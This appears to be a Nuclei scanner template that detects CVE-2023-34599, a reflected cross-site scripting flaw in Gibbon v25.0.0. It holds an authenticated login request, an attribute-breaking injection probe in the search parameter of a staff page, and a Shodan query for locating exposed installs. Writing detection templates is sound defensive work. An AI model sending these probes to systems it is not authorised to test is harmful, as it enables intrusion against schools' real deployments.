id: CVE-2023-34599 info: name: Gibbon v25.0.0 - Cross-Site Scripting author: ritikchaddha severity: medium description: | Multiple Cross-Site Scripting (XSS) vulnerabilities have been identified in Gibbon v25.0.0, which enable attackers to execute arbitrary Javascript code. remediation: | Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability. reference: - https://github.com/maddsec/CVE-2023-34599 - https://vulmon.com/searchpage?q=CVE-2023-34599 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-34599 cwe-id: CWE-79 epss-score: 0.00071 epss-percentile: 0.29573 cpe: cpe:2.3:a:gibbonedu:gibbon:25.0.00:*:*:*:*:*:*:* metadata: max-request: 2 vendor: gibbonedu product: gibbon shodan-query: http.favicon.hash:-165631681 tags: cve,cve2023,gibbon,xss,authenticated,intrusive http: - raw: - | POST /login.php? HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8m88nqhR1NAnQEYZ ------WebKitFormBoundary8m88nqhR1NAnQEYZ Content-Disposition: form-data; name="address" ------WebKitFormBoundary8m88nqhR1NAnQEYZ Content-Disposition: form-data; name="method" default ------WebKitFormBoundary8m88nqhR1NAnQEYZ Content-Disposition: form-data; name="username" {{username}} ------WebKitFormBoundary8m88nqhR1NAnQEYZ Content-Disposition: form-data; name="password" {{password}} ------WebKitFormBoundary8m88nqhR1NAnQEYZ Content-Disposition: form-data; name="gibbonSchoolYearID" 017 ------WebKitFormBoundary8m88nqhR1NAnQEYZ Content-Disposition: form-data; name="gibboni18nID" 0001 ------WebKitFormBoundary8m88nqhR1NAnQEYZ-- - | GET /index.php?q=/modules/Staff/staff_view_details.php&gibbonTTID=00000010&gibbonPersonID=0000000001&search=yyraq'>oq7c8fmwwro&ttDate=05/23/2023&schoolCalendar=N&personalCalendar=N&spaceBookingCalendar=N&fromTT=Y HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_2 words: - ">" - gibbon case-insensitive: true condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a0047304502204e1bb458579da1ec29dc46a790a00c1aaf90d3a77f8a276371655d986597964b0221008ebd80928fa80172851e471979c374e48bb19c275525225c427358538e4bbdc5:922c64590222798bb761d5b6d8e72950